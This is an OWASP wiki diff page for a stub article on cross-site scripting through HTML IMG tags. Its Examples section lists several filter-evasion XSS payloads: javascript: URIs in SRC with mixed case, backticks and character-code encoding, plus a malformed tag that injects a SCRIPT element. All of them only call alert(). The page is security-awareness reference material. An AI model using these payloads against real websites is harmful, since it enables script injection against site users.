Difference between revisions of "Script in IMG tags"

From OWASP
Jump to: navigation, search
m (Examples)
Line 1: Line 1:
{{Template:Attack}}
 
 
 
==Description==
 
==Description==
 
It is possible for an attacker to execute Javascript code via the IMG tags.  This is also refered to as XSS (Cross Site Scripting).
 
It is possible for an attacker to execute Javascript code via the IMG tags.  This is also refered to as XSS (Cross Site Scripting).

Revision as of 07:53, 5 November 2007

Contents

Description

It is possible for an attacker to execute Javascript code via the IMG tags. This is also refered to as XSS (Cross Site Scripting).

Examples

The following are methods an attacker can use in order to execute Javascript.

<IMG SRC="javascript:alert('Vulnerable');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says,
'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG
SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG
SRC=javascript:alert('XSS')>

Related Threats

Related Attacks

XSS Attacks

Related Vulnerabilities

Related Countermeasures

Categories

This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.